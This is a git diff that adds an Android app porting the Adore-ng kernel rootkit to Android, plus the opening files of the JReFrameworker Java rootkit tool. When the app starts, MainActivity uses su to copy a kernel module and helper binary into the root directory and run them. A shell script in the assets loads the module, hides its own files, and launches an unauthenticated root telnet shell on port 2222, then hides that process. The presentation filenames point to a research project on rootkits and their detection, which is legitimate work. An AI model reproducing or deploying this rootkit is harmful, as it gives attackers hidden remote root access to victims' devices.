diff --git a/Android/AdoreForAndroid/.classpath b/Android/AdoreForAndroid/.classpath
new file mode 100644
index 0000000..a4763d1
--- /dev/null
+++ b/Android/AdoreForAndroid/.classpath
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
diff --git a/Android/AdoreForAndroid/.gitattributes b/Android/AdoreForAndroid/.gitattributes
new file mode 100644
index 0000000..412eeda
--- /dev/null
+++ b/Android/AdoreForAndroid/.gitattributes
@@ -0,0 +1,22 @@
+# Auto detect text files and perform LF normalization
+* text=auto
+
+# Custom for Visual Studio
+*.cs diff=csharp
+*.sln merge=union
+*.csproj merge=union
+*.vbproj merge=union
+*.fsproj merge=union
+*.dbproj merge=union
+
+# Standard to msysgit
+*.doc diff=astextplain
+*.DOC diff=astextplain
+*.docx diff=astextplain
+*.DOCX diff=astextplain
+*.dot diff=astextplain
+*.DOT diff=astextplain
+*.pdf diff=astextplain
+*.PDF diff=astextplain
+*.rtf diff=astextplain
+*.RTF diff=astextplain
diff --git a/Android/AdoreForAndroid/.gitignore b/Android/AdoreForAndroid/.gitignore
new file mode 100644
index 0000000..6dae747
--- /dev/null
+++ b/Android/AdoreForAndroid/.gitignore
@@ -0,0 +1,36 @@
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Windows Installer files
+*.cab
+*.msi
+*.msm
+*.msp
+
+# =========================
+# Operating System Files
+# =========================
+
+# OSX
+# =========================
+
+.DS_Store
+.AppleDouble
+.LSOverride
+
+# Icon must ends with two \r.
+Icon
+
+# Thumbnails
+._*
+
+# Files that might appear on external disk
+.Spotlight-V100
+.Trashes
diff --git a/Android/AdoreForAndroid/.project b/Android/AdoreForAndroid/.project
new file mode 100644
index 0000000..aaa2935
--- /dev/null
+++ b/Android/AdoreForAndroid/.project
@@ -0,0 +1,33 @@
+
+
+ adore
+
+
+
+
+
+ com.android.ide.eclipse.adt.ResourceManagerBuilder
+
+
+
+
+ com.android.ide.eclipse.adt.PreCompilerBuilder
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+ com.android.ide.eclipse.adt.ApkBuilder
+
+
+
+
+
+ com.android.ide.eclipse.adt.AndroidNature
+ org.eclipse.jdt.core.javanature
+
+
diff --git a/Android/AdoreForAndroid/.settings/org.eclipse.jdt.core.prefs b/Android/AdoreForAndroid/.settings/org.eclipse.jdt.core.prefs
new file mode 100644
index 0000000..b080d2d
--- /dev/null
+++ b/Android/AdoreForAndroid/.settings/org.eclipse.jdt.core.prefs
@@ -0,0 +1,4 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
+org.eclipse.jdt.core.compiler.compliance=1.6
+org.eclipse.jdt.core.compiler.source=1.6
diff --git a/Android/AdoreForAndroid/AndroidManifest.xml b/Android/AdoreForAndroid/AndroidManifest.xml
new file mode 100644
index 0000000..2d3e5ed
--- /dev/null
+++ b/Android/AdoreForAndroid/AndroidManifest.xml
@@ -0,0 +1,32 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/README.md b/Android/AdoreForAndroid/README.md
new file mode 100644
index 0000000..65e0c90
--- /dev/null
+++ b/Android/AdoreForAndroid/README.md
@@ -0,0 +1,9 @@
+AdoreForAndroid
+===============
+
+Transplant adore rootkit for Android platform.
+In this project, I transplant Adore-ng rootkit to Android platform. After installing this app on your phone, Adore will
+be installed into your system as a kernel module, and hooks system calls.
+By using Adore, this app can open ports on your device as backdoor, and also hide any files and ports from users.
+For more details you can refer to the presentation folder.
+
diff --git a/Android/AdoreForAndroid/assets/adore-ng.ko b/Android/AdoreForAndroid/assets/adore-ng.ko
new file mode 100644
index 0000000..a9bb06e
Binary files /dev/null and b/Android/AdoreForAndroid/assets/adore-ng.ko differ
diff --git a/Android/AdoreForAndroid/assets/ava b/Android/AdoreForAndroid/assets/ava
new file mode 100644
index 0000000..c75b83a
Binary files /dev/null and b/Android/AdoreForAndroid/assets/ava differ
diff --git a/Android/AdoreForAndroid/assets/script1 b/Android/AdoreForAndroid/assets/script1
new file mode 100644
index 0000000..88a3ee9
--- /dev/null
+++ b/Android/AdoreForAndroid/assets/script1
@@ -0,0 +1,8 @@
+#! /system/bin/sh
+
+touch adore-ng.ko
+touch ava
+touch script2
+chmod 777 adore-ng.ko
+chmod 777 ava
+chmod 777 script2
diff --git a/Android/AdoreForAndroid/assets/script2 b/Android/AdoreForAndroid/assets/script2
new file mode 100644
index 0000000..82220b8
--- /dev/null
+++ b/Android/AdoreForAndroid/assets/script2
@@ -0,0 +1,10 @@
+#! /system/bin/sh
+
+insmod adore-ng.ko
+./ava h adore-ng.ko
+./ava h ava
+./ava h script1
+./ava h script2
+busybox telnetd -l /system/bin/sh -p 2222
+var=`busybox ps | grep -m 1 telnet | cut -f2 -d " "`
+./ava i $var
diff --git a/Android/AdoreForAndroid/bin/AndroidManifest.xml b/Android/AdoreForAndroid/bin/AndroidManifest.xml
new file mode 100644
index 0000000..2d3e5ed
--- /dev/null
+++ b/Android/AdoreForAndroid/bin/AndroidManifest.xml
@@ -0,0 +1,32 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/BuildConfig.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/BuildConfig.class
new file mode 100644
index 0000000..1570533
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/BuildConfig.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity$myThread.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity$myThread.class
new file mode 100644
index 0000000..bbb5792
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity$myThread.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity.class
new file mode 100644
index 0000000..434917a
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$attr.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$attr.class
new file mode 100644
index 0000000..3635092
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$attr.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$drawable.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$drawable.class
new file mode 100644
index 0000000..6146550
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$drawable.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$id.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$id.class
new file mode 100644
index 0000000..f5c39e7
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$id.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$layout.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$layout.class
new file mode 100644
index 0000000..b68f720
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$layout.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$menu.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$menu.class
new file mode 100644
index 0000000..b76d85b
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$menu.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$string.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$string.class
new file mode 100644
index 0000000..b7193c2
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$string.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$style.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$style.class
new file mode 100644
index 0000000..3eb043d
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$style.class differ
diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R.class
new file mode 100644
index 0000000..3b17f71
Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R.class differ
diff --git a/Android/AdoreForAndroid/bin/jarlist.cache b/Android/AdoreForAndroid/bin/jarlist.cache
new file mode 100644
index 0000000..1b5ec3f
--- /dev/null
+++ b/Android/AdoreForAndroid/bin/jarlist.cache
@@ -0,0 +1,3 @@
+# cache for current jar dependecy. DO NOT EDIT.
+# format is
+# Encoding is UTF-8
diff --git a/Android/AdoreForAndroid/gen/com/example/adore/BuildConfig.java b/Android/AdoreForAndroid/gen/com/example/adore/BuildConfig.java
new file mode 100644
index 0000000..5057eed
--- /dev/null
+++ b/Android/AdoreForAndroid/gen/com/example/adore/BuildConfig.java
@@ -0,0 +1,6 @@
+/** Automatically generated file. DO NOT MODIFY */
+package com.example.adore;
+
+public final class BuildConfig {
+ public final static boolean DEBUG = true;
+}
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/gen/com/example/adore/R.java b/Android/AdoreForAndroid/gen/com/example/adore/R.java
new file mode 100644
index 0000000..34322f7
--- /dev/null
+++ b/Android/AdoreForAndroid/gen/com/example/adore/R.java
@@ -0,0 +1,58 @@
+/* AUTO-GENERATED FILE. DO NOT MODIFY.
+ *
+ * This class was automatically generated by the
+ * aapt tool from the resource data it found. It
+ * should not be modified by hand.
+ */
+
+package com.example.adore;
+
+public final class R {
+ public static final class attr {
+ }
+ public static final class drawable {
+ public static final int ic_launcher=0x7f020000;
+ }
+ public static final class id {
+ public static final int menu_settings=0x7f070000;
+ }
+ public static final class layout {
+ public static final int activity_main=0x7f030000;
+ }
+ public static final class menu {
+ public static final int activity_main=0x7f060000;
+ }
+ public static final class string {
+ public static final int app_name=0x7f040000;
+ public static final int hello_world=0x7f040001;
+ public static final int menu_settings=0x7f040002;
+ }
+ public static final class style {
+ /**
+ Base application theme, dependent on API level. This theme is replaced
+ by AppBaseTheme from res/values-vXX/styles.xml on newer devices.
+
+
+ Theme customizations available in newer API levels can go in
+ res/values-vXX/styles.xml, while customizations related to
+ backward-compatibility can go here.
+
+
+ Base application theme for API 11+. This theme completely replaces
+ AppBaseTheme from res/values/styles.xml on API 11+ devices.
+
+ API 11 theme customizations can go here.
+
+ Base application theme for API 14+. This theme completely replaces
+ AppBaseTheme from BOTH res/values/styles.xml and
+ res/values-v11/styles.xml on API 14+ devices.
+
+ API 14 theme customizations can go here.
+ */
+ public static final int AppBaseTheme=0x7f050000;
+ /** Application theme.
+ All customizations that are NOT specific to a particular API-level can go here.
+ */
+ public static final int AppTheme=0x7f050001;
+ }
+}
diff --git a/Android/AdoreForAndroid/ic_launcher-web.png b/Android/AdoreForAndroid/ic_launcher-web.png
new file mode 100644
index 0000000..424f260
Binary files /dev/null and b/Android/AdoreForAndroid/ic_launcher-web.png differ
diff --git a/Android/AdoreForAndroid/libs/android-support-v4.jar b/Android/AdoreForAndroid/libs/android-support-v4.jar
new file mode 100644
index 0000000..6080877
Binary files /dev/null and b/Android/AdoreForAndroid/libs/android-support-v4.jar differ
diff --git a/Android/AdoreForAndroid/presentation/Adore-ng - Part2.pptx b/Android/AdoreForAndroid/presentation/Adore-ng - Part2.pptx
new file mode 100644
index 0000000..b1f9157
Binary files /dev/null and b/Android/AdoreForAndroid/presentation/Adore-ng - Part2.pptx differ
diff --git a/Android/AdoreForAndroid/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc b/Android/AdoreForAndroid/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc
new file mode 100644
index 0000000..dde53c0
Binary files /dev/null and b/Android/AdoreForAndroid/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc differ
diff --git a/Android/AdoreForAndroid/presentation/Adore-ng.pptx b/Android/AdoreForAndroid/presentation/Adore-ng.pptx
new file mode 100644
index 0000000..8dfe6d8
Binary files /dev/null and b/Android/AdoreForAndroid/presentation/Adore-ng.pptx differ
diff --git a/Android/AdoreForAndroid/proguard-project.txt b/Android/AdoreForAndroid/proguard-project.txt
new file mode 100644
index 0000000..f2fe155
--- /dev/null
+++ b/Android/AdoreForAndroid/proguard-project.txt
@@ -0,0 +1,20 @@
+# To enable ProGuard in your project, edit project.properties
+# to define the proguard.config property as described in that file.
+#
+# Add project specific ProGuard rules here.
+# By default, the flags in this file are appended to flags specified
+# in ${sdk.dir}/tools/proguard/proguard-android.txt
+# You can edit the include path and order by changing the ProGuard
+# include property in project.properties.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# Add any project specific keep options here:
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
diff --git a/Android/AdoreForAndroid/project.properties b/Android/AdoreForAndroid/project.properties
new file mode 100644
index 0000000..9b84a6b
--- /dev/null
+++ b/Android/AdoreForAndroid/project.properties
@@ -0,0 +1,14 @@
+# This file is automatically generated by Android Tools.
+# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
+#
+# This file must be checked in Version Control Systems.
+#
+# To customize properties used by the Ant build system edit
+# "ant.properties", and override values to adapt the script to your
+# project structure.
+#
+# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
+#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt
+
+# Project target.
+target=android-16
diff --git a/Android/AdoreForAndroid/res/drawable-hdpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-hdpi/ic_launcher.png
new file mode 100644
index 0000000..0e79b18
Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-hdpi/ic_launcher.png differ
diff --git a/Android/AdoreForAndroid/res/drawable-ldpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-ldpi/ic_launcher.png
new file mode 100644
index 0000000..ebfac7d
Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-ldpi/ic_launcher.png differ
diff --git a/Android/AdoreForAndroid/res/drawable-mdpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-mdpi/ic_launcher.png
new file mode 100644
index 0000000..1183441
Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-mdpi/ic_launcher.png differ
diff --git a/Android/AdoreForAndroid/res/drawable-xhdpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-xhdpi/ic_launcher.png
new file mode 100644
index 0000000..c8ab2a1
Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-xhdpi/ic_launcher.png differ
diff --git a/Android/AdoreForAndroid/res/layout/activity_main.xml b/Android/AdoreForAndroid/res/layout/activity_main.xml
new file mode 100644
index 0000000..e97c5f9
--- /dev/null
+++ b/Android/AdoreForAndroid/res/layout/activity_main.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/res/menu/activity_main.xml b/Android/AdoreForAndroid/res/menu/activity_main.xml
new file mode 100644
index 0000000..77f358b
--- /dev/null
+++ b/Android/AdoreForAndroid/res/menu/activity_main.xml
@@ -0,0 +1,9 @@
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/res/values-v11/styles.xml b/Android/AdoreForAndroid/res/values-v11/styles.xml
new file mode 100644
index 0000000..541752f
--- /dev/null
+++ b/Android/AdoreForAndroid/res/values-v11/styles.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/res/values-v14/styles.xml b/Android/AdoreForAndroid/res/values-v14/styles.xml
new file mode 100644
index 0000000..f20e015
--- /dev/null
+++ b/Android/AdoreForAndroid/res/values-v14/styles.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/res/values/strings.xml b/Android/AdoreForAndroid/res/values/strings.xml
new file mode 100644
index 0000000..695a49d
--- /dev/null
+++ b/Android/AdoreForAndroid/res/values/strings.xml
@@ -0,0 +1,8 @@
+
+
+
+ adore
+ Hello world!
+ Settings
+
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/res/values/styles.xml b/Android/AdoreForAndroid/res/values/styles.xml
new file mode 100644
index 0000000..4a10ca4
--- /dev/null
+++ b/Android/AdoreForAndroid/res/values/styles.xml
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Android/AdoreForAndroid/src/com/example/adore/MainActivity.java b/Android/AdoreForAndroid/src/com/example/adore/MainActivity.java
new file mode 100644
index 0000000..d4dc7bf
--- /dev/null
+++ b/Android/AdoreForAndroid/src/com/example/adore/MainActivity.java
@@ -0,0 +1,325 @@
+package com.example.adore;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.Reader;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.Menu;
+
+public class MainActivity extends Activity {
+ private void copyBigDataBase1() {
+ InputStream myInput = null;
+ OutputStream myOutput = null;
+ String script1 = "script1";
+ String outFileName = "/script1";
+
+ //Transfer script1
+ try {
+ myOutput = new FileOutputStream(outFileName);
+ } catch (FileNotFoundException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open dest script1 file");
+
+ try {
+ myInput = this.getAssets().open(script1);
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open script1 file in assets");
+
+ byte[] buffer = new byte[1024];
+ int length;
+
+ try {
+ while ((length = myInput.read(buffer)) > 0) {
+ myOutput.write(buffer, 0, length);
+ }
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After transfer script1 file");
+
+ try {
+ myOutput.flush();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myOutput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myInput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ }
+
+ private void copyBigDataBase2() {
+ InputStream myInput = null;
+ OutputStream myOutput = null;
+ String kernelModu = "adore-ng.ko";
+ String ava = "ava";
+ String script2 = "script2";
+ String outFileName1 = "/adore-ng.ko";
+ String outFileName2 = "/ava";
+ String outFileName3 = "/script2";
+
+ //Transfer adore-ng.ko
+ try {
+ myOutput = new FileOutputStream(outFileName1);
+ } catch (FileNotFoundException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open dest adore.ko file");
+
+ try {
+ myInput = this.getAssets().open(kernelModu);
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open adore.ko file in assets");
+
+ byte[] buffer1 = new byte[1024];
+ int length1;
+
+ try {
+ while ((length1 = myInput.read(buffer1)) > 0) {
+ myOutput.write(buffer1, 0, length1);
+ }
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After transfer adore.ko file");
+
+ try {
+ myOutput.flush();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myOutput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myInput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ //Transfer ava file
+ try {
+ myOutput = new FileOutputStream(outFileName2);
+ } catch (FileNotFoundException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open dest ava file");
+
+ try {
+ myInput = this.getAssets().open(ava);
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open ava file in assets");
+
+ byte[] buffer2 = new byte[1024];
+ int length2;
+
+ try {
+ while ((length2 = myInput.read(buffer2)) > 0) {
+ myOutput.write(buffer2, 0, length2);
+ }
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After transfer ava file");
+
+ try {
+ myOutput.flush();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myOutput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myInput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ //Transfer script2 file
+ try {
+ myOutput = new FileOutputStream(outFileName3);
+ } catch (FileNotFoundException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open dest script2 file");
+
+ try {
+ myInput = this.getAssets().open(script2);
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After open script2 file in assets");
+
+ byte[] buffer3 = new byte[1024];
+ int length3;
+
+ try {
+ while ((length3 = myInput.read(buffer3)) > 0) {
+ myOutput.write(buffer3, 0, length3);
+ }
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ Log.i("TAG", "After transfer script2 file");
+
+ try {
+ myOutput.flush();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myOutput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+ try {
+ myInput.close();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ }
+
+ class myThread extends Thread {
+ public void run() {
+ String cmd1[] = {"su", "-c", "touch script1"};
+ try {
+ Runtime.getRuntime().exec(cmd1);
+ } catch (IOException e1) {
+ // TODO Auto-generated catch block
+ e1.printStackTrace();
+ }
+ Log.i("TAG", "After touch script1");
+ try {
+ Thread.currentThread().sleep(5000);
+ } catch (InterruptedException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+
+ String cmd2[] = {"su", "-c", "chmod 777 script1"};
+ try {
+ Runtime.getRuntime().exec(cmd2);
+ } catch (IOException e1) {
+ // TODO Auto-generated catch block
+ e1.printStackTrace();
+ }
+ Log.i("TAG", "After chmod script1");
+ try {
+ Thread.currentThread().sleep(5000);
+ } catch (InterruptedException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+
+ copyBigDataBase1();
+ Log.i("TAG", "After copy script1");
+
+
+ String cmd3[] = {"su", "-c", "./script1"};
+ try {
+ Runtime.getRuntime().exec(cmd3);
+ } catch (IOException e1) {
+ // TODO Auto-generated catch block
+ e1.printStackTrace();
+ }
+ Log.i("TAG", "After exec script1");
+ try {
+ Thread.currentThread().sleep(5000);
+ } catch (InterruptedException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+
+ copyBigDataBase2();
+ Log.i("TAG", "After copy adore-ng.ko ava script2");
+
+
+ String cmd7[] = {"su", "-c", "./script2"};
+ try {
+ Runtime.getRuntime().exec(cmd7);
+ } catch (IOException e1) {
+ // TODO Auto-generated catch block
+ e1.printStackTrace();
+ }
+ Log.i("TAG", "After execute script2");
+ }
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+
+ myThread tt = new myThread();
+ tt.start();
+ }
+
+ @Override
+ public boolean onCreateOptionsMenu(Menu menu) {
+ // Inflate the menu; this adds items to the action bar if it is present.
+ getMenuInflater().inflate(R.menu.activity_main, menu);
+ return true;
+ }
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/.gitignore b/Cross Platform/Rootkits/JReFrameworker/.gitignore
new file mode 100644
index 0000000..bb977e7
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/.gitignore
@@ -0,0 +1,6 @@
+.DS_Store
+
+*.class
+
+# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
+hs_err_pid*
diff --git a/Cross Platform/Rootkits/JReFrameworker/CREDITS b/Cross Platform/Rootkits/JReFrameworker/CREDITS
new file mode 100644
index 0000000..59d7b83
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/CREDITS
@@ -0,0 +1,8 @@
+Icon: Sure That Real Designers Are Able To Create An Improved Version
+Credit: speichern-unter.net
+License: CC BY 3.0
+Reference: http://www.iconshut.com/sure-that-real-designers-are-able-to-create-an-improved-version--icons/dT1hSFIwY0RvdkwzTndaV2xqYUdWeWJpMTFiblJsY2k1dVpYUXZabWxzWlhNdmMyRjJaV0Z6WHpVdUxuQnVad3x1cj1odHRwczovL2ZvcnVtLmtkZS5vcmcvdmlld3RvcGljLnBocD9mPTI4NSZhbXA7dD0xMjM3Njd8dz0yNzV8aD0yNzV8dD1wbmd8/, https://forum.kde.org/viewtopic.php?f=285&t=123767
+
+Icon: Java Evil Edition
+Credit: Jackal von ÖRF?
+Reference: http://thedailywtf.com/articles/Classics-Week-The-Call-of-Codethulhu
diff --git a/Cross Platform/Rootkits/JReFrameworker/LICENSE b/Cross Platform/Rootkits/JReFrameworker/LICENSE
new file mode 100644
index 0000000..9557e5c
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/LICENSE
@@ -0,0 +1,22 @@
+The MIT License (MIT)
+
+Copyright (c) 2017 Ben Holland
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/README.md b/Cross Platform/Rootkits/JReFrameworker/README.md
new file mode 100644
index 0000000..a69c240
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/README.md
@@ -0,0 +1,6 @@
+# JReFrameworker
+[![Join the chat at https://gitter.im/JReFrameworker](https://badges.gitter.im/JReFrameworker.svg)](https://gitter.im/JReFrameworker/support)
+
+A practical tool for creating Managed Code Rootkits (MCRs) in the Java Runtime Environment or general purpose bytecode manipulation.
+
+For more details visit: [jreframeworker.com](https://jreframeworker.com/)
diff --git a/Cross Platform/Rootkits/JReFrameworker/REFERENCES.md b/Cross Platform/Rootkits/JReFrameworker/REFERENCES.md
new file mode 100644
index 0000000..f0f674c
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/REFERENCES.md
@@ -0,0 +1,49 @@
+# References
+This is a just running list of useful references found during the development of this project.
+
+## Java/JVM Talks
+- [invokedynamic for Mere Mortals](https://www.youtube.com/watch?v=Q5mVy0BAxG0#t=6h15m30s)
+- [The Adventurous Developer’s Guide to JVM Languages](https://www.youtube.com/watch?v=Q5mVy0BAxG0#t=7h44m20s)
+- [Black Hat USA 2002 - Security Aspects in Java Bytecode Engineering](https://www.youtube.com/watch?v=DYY0FSnaQXE)
+- [Black Hat USA 2012 - Recent Java Exploitation Trends and Malware](https://www.youtube.com/watch?v=5JN65JZmHjM)
+- [Black Hat USA 2013 - Java Every-Days: Exploiting Software Running on 3 Billion Devices](https://www.youtube.com/watch?v=HO0CkhndCQQ)
+
+## Runtime Patching
+- [Rubah is a Dynamic Software Updating (DSU) system for Java that works on stock JVMs](https://github.com/plum-umd/rubah), [Quick Start](http://web.ist.utl.pt/~luis.pina/oopsla14/aec/getting-started.html), [Steps](http://web.ist.utl.pt/~luis.pina/oopsla14/aec/step-by-step.html), [Slides](https://www.infoq.com/presentations/rubah), [Paper](http://www.cs.umd.edu/~mwh/papers/rubah-oopsla14.pdf)
+- [Java Geeks Using the BootClasspath - Tweaking the Java Runtime API](http://www.tedneward.com/files/Papers/BootClasspath/BootClasspath.pdf)
+- [Covert Java: Techniques for Decompiling, Patching, and Reverse Engineering](http://www.amazon.com/gp/product/0672326388/ref=as_li_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=0672326388&linkCode=as2&tag=zombiest-20&linkId=6WARWI6KSNMYLBWS)
+- [-Xbootclasspath Oracle Docs](https://docs.oracle.com/cd/E15289_01/doc.40/e15062/optionx.htm#i1018570)
+- Hotpatching a Java 6 Application ([Part 1](http://www.fasterj.com/articles/hotpatch1.shtml) and [Part 2](http://www.fasterj.com/articles/hotpatch2.shtml))
+- [Java Endorsed Standards Override Mechanism](https://docs.oracle.com/javase/7/docs/technotes/guides/standards/)
